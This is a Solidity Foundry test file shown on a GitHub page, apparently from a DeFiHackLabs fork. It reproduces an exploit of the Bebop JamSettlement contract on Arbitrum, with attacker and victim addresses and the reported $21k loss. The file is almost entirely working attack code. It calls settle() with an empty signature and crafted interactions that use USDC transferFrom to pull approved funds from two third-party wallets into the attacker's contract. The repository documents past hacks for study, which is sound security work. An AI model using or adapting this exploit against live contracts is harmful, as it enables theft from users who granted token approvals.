forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathBebop_dex_exp.sol
More file actions
136 lines (110 loc) · 4.32 KB
/
Bebop_dex_exp.sol
File metadata and controls
136 lines (110 loc) · 4.32 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;
import "../basetest.sol";
import "../interface.sol";
// @KeyInfo - Total Lost : 21k USD
// Attacker : 0x59537353248d0b12c7fcca56a4e420ffec4abc91
// Attack Contract : 0x091101b0f31833c03dddd5b6411e62a212d05875
// Vulnerable Contract : 0xbeb0b0623f66bE8cE162EbDfA2ec543A522F4ea6
// Attack Tx : https://basescan.com/tx/0xe5f8fe69b38613a855dbcb499a2c4ecffe318c620a4c4117bd0e298213b7619d
// @Info
// Vulnerable Contract Code : https://basescan.com/address/0xbeb0b0623f66bE8cE162EbDfA2ec543A522F4ea6#code
// @Analysis
// Post-mortem : https://x.com/SuplabsYi/status/1955230173365961128
// Twitter Guy : https://x.com/SuplabsYi/status/1955230173365961128
// Hacking God : https://x.com/SuplabsYi/status/1955230173365961128
pragma solidity ^0.8.0;
struct JamOrder {
address taker;
address receiver;
uint256 expiry;
uint256 exclusivityDeadline;
uint256 nonce;
address executor;
uint256 partnerInfo;
address[] sellTokens;
address[] buyTokens;
uint256[] sellAmounts;
uint256[] buyAmounts;
bool usingPermit2;
}
struct JamInteraction {
bool result;
address to;
uint256 value;
bytes data;
}
contract Bebop is BaseTestWithBalanceLog {
uint256 blocknumToForkFrom = 367586045 - 1;
address private usdc = 0xaf88d065e77c8cC2239327C5EDb3A432268e5831;
IJamSettlement jamContract = IJamSettlement(0xbeb0b0623f66bE8cE162EbDfA2ec543A522F4ea6);
function setUp() public {
vm.createSelectFork("arbitrum", blocknumToForkFrom);
//Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
fundingToken = address(usdc);
}
function testExploit() public balanceLog {
// 1. Construct the JamOrder struct
JamOrder memory order = JamOrder({
taker: address(this),
receiver: address(this),
expiry: 1754987701,
exclusivityDeadline: 0,
nonce: 1,
executor: address(this),
partnerInfo: 0,
sellTokens: new address[](0),
buyTokens: new address[](0),
sellAmounts: new uint256[](0),
buyAmounts: new uint256[](0),
usingPermit2: false
});
// 2. Define the signature (empty as provided)
bytes memory signature = hex"";
// Interaction 1 arguments
address fromAddress1 = 0x0c06E0737e81666023bA2a4A10693e93277Cbbf1;
uint256 amount1 = 0x4ac2def8f; // 20,134,500,015
// Interaction 2 arguments
address fromAddress2 = 0xe7Ee27D53578704825Cddd578cd1f15ea93eb6Fd;
uint256 amount2 = 0xf4240; // 1,000,000
// This 'to' address is the same in both interactions
address sharedToAddress = address(this);
// AFTER: Dynamically encode the call using the interface
bytes memory interaction1Data = abi.encodeCall(
IERC20.transferFrom, // The function pointer
(fromAddress1, sharedToAddress, amount1) // The arguments as a tuple
);
bytes memory interaction2Data = abi.encodeCall(
IERC20.transferFrom, // The function pointer
(fromAddress2, sharedToAddress, amount2) // The arguments as a tuple
);
// 3. Construct the JamInteraction.Data array
JamInteraction[] memory interactions = new JamInteraction[](2);
interactions[0] = JamInteraction({
result: false,
to: 0xaf88d065e77c8cC2239327C5EDb3A432268e5831,
value: 0,
data: interaction1Data
});
interactions[1] = JamInteraction({
result: false,
to: 0xaf88d065e77c8cC2239327C5EDb3A432268e5831,
value: 0,
data: interaction2Data
});
// 4. Define the hooksData (empty as provided)
bytes memory hooksData = hex"";
// 5. Define the balanceRecipient
address balanceRecipient = address(this);
jamContract.settle(order, signature, interactions, hooksData, balanceRecipient);
}
}
interface IJamSettlement {
function settle(
JamOrder calldata order,
bytes calldata signature,
JamInteraction[] calldata interactions,
bytes memory hooksData,
address balanceRecipient
) external payable;
}